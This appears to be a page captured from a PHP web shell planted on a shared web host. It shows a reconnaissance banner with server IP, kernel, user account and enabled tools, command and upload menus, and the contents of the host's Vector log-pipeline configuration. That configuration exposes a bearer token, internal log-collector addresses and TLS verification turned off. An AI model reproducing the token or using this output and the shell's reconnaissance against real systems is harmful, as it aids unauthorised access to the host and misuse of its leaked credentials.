hyun.psd; gzuncompress
|
Server IP : 173.236.192.202 / Your IP : 216.73.216.85 Web Server : Apache System : Linux iad1-shared-e1-03 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64 User : andfor18 ( 14551322) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /../etc/vector/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
|---|
sources:
syslog_auth:
type: socket
mode: udp
address: 0.0.0.0:4100
decoding:
codec: syslog
apache_log:
type: socket
path: /var/lib/vector/vector-apache.sock
socket_file_mode: 0o755
framing:
method: "newline_delimited"
mode: unix_datagram
decoding:
codec: bytes
int_metrics:
type: internal_metrics
apache_error_log:
type: socket
path: /var/lib/vector/apache-error-log.sock
socket_file_mode: 0o755
framing:
method: "newline_delimited"
mode: unix_datagram
decoding:
codec: bytes
transforms:
apache_remap:
type: remap
inputs: ['apache_log']
source: |-
.machine = "${HOSTNAME}"
apache_error_log_remap:
type: remap
inputs: ['apache_error_log']
drop_on_abort: true
source: |-
.machine = "${HOSTNAME}"
if match!(.message, r'.*mod_fcgid\: stderr\:.*') {
if ! match!(.message, r'.*PHP (Fatal|Warning).*') {
abort
}
}
sinks:
int_metrics_export:
type: "prometheus_exporter"
address: 0.0.0.0:9598
auth:
token: aazf3rta4wbyqjx8TCK
strategy: bearer
inputs:
- int_metrics
vector_apache_logs:
type: vector
inputs:
- apache_remap
address: vector-logs.dream.io:9002
tls:
enabled: true
verify_certificate: false
verify_hostname: false
healthcheck:
enabled: false
buffer:
when_full: drop_newest
max_events: 500000
vector_auth_logs:
type: vector
inputs:
- syslog_auth
address: vector-logs.dream.io:9003
tls:
enabled: true
verify_certificate: false
verify_hostname: false
healthcheck:
enabled: false
buffer:
when_full: drop_newest
max_events: 50000
vector_apache_error_logs:
type: vector
inputs:
- apache_error_log_remap
address: vector-logs.dream.io:9006
tls:
enabled: true
verify_certificate: false
verify_hostname: false
healthcheck:
enabled: false
buffer:
when_full: drop_newest
max_events: 50000